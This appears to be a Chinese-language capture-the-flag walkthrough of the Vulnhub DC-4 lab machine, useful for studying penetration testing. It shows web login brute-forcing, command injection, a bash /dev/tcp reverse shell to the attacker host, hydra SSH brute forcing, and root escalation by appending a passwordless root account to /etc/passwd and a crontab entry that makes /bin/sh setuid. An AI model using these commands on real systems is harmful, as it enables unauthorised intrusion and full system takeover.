工具:burp
目标机:192.168.119.148
攻击机(kali):192.168.119.140
nmap扫描C段确认目标目标ip,发现目标开放80端口和22端口:
nmap -sV -p- 192.168.119.0/24
访问192.168.119.148:80,发现是一个登录窗口并且用户名为admin:
用burp抓包,尝试爆破口令同时用sqlmap检测登录窗口是否存在sql注入。
虽然登录窗口无sql注入,但burp传来捷报:成功爆破admin密码--happy:
(PS:该网站输入正确密码后,还需要再submit一次即可进入后台)
该后台存在执行系统命令功能:
用burp抓包,检测是否存在系统命令任意执行漏洞。通过测试,该后台存在系统命令任意执行漏洞但存在权限不足:
既然可以执行任意命令,尝试反弹shell:
在kali上设置监听:
nc -lvp 7777
bash -c "bash -i >%26 /dev/tcp/192.168.119.140/7777 0>%261"
反弹shell成功,查看有SUID权限文件:
find / -perm -u=s -type f 2>/dev/null
发现test.sh文件,查看文件详细信息与文件内容,发现该文件为jim权限:
尝试在该文件内写入代码,生成jim权限下的shell文件(/bin/sh)。但是更改test.sh后,该文件不具有suid权限,尝试失败。
另寻他法,查看目录下其余的文件。mbox无权限访问,backups中发现密码备份文件old-password.bak:
查看系统用户信息,确认除root外还存在3个用户,jim,charles,sam:
cat /etc/passwd
有了密码,靶机开放ssh服务,故想到用ssh登录。将old-password中密码保存在passwd.txt中,然后用hydra尝试爆破用户密码。成功爆破出jim密码:jibril04:
hydra -L users.txt -P passwd.txt -t 6 ssh://192.168.119.148
登录jim后,查看mbox中邮件内容,并没有发现有价值的信息:
查看sudo权限,无sudo权限:
试着翻阅系统邮件。发现名为jim的邮件,打开得到charles密密码^xHhA&hvim0y:
mail
切换用户至charles,并查看权限,发现该用户有teehee权限:
查看teehee使用方式,其中-a参数对任意文件在不覆盖原文件的情况下,添加内容:
teehee --help
因为能对任意文件操作,所以在/etc/passwd中添加一个管理员账号取得root权限,这里设置的是无密码的test账号:
sudo teehee -a /etc/passwd
test::0:0:::/bin/sh
ctrl+c
转到test账户,寻找flag文件:
find ./ -name *flag.txt
因为能添加任意文件内容,也可以在/etc/crontab中添加定时任务来提权。将时间全设置为*使其每分钟执行一次;其次将/bin/sh设置权限为4777,使其任意用户可执行且为suid权限(4为文件特殊权限suid的权值)。运行/bin/sh即可拥有root权限:
sudo teehee -a /etc/crontab
* * * * * root chmod 4777 /bin/sh
ctrl+c
渗透结束,完成任务。
本次渗透的关键点,本人认为是联想。出题人给出一封邮件且该邮件中无有价值信息,那就应该联想到:给出的提示是否是邮件本身,从而联想到其他邮件。
原文始发于微信公众号(陆吾安全攻防实验室):Vulnhub靶机:DC-4(sudo配置错误提权)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论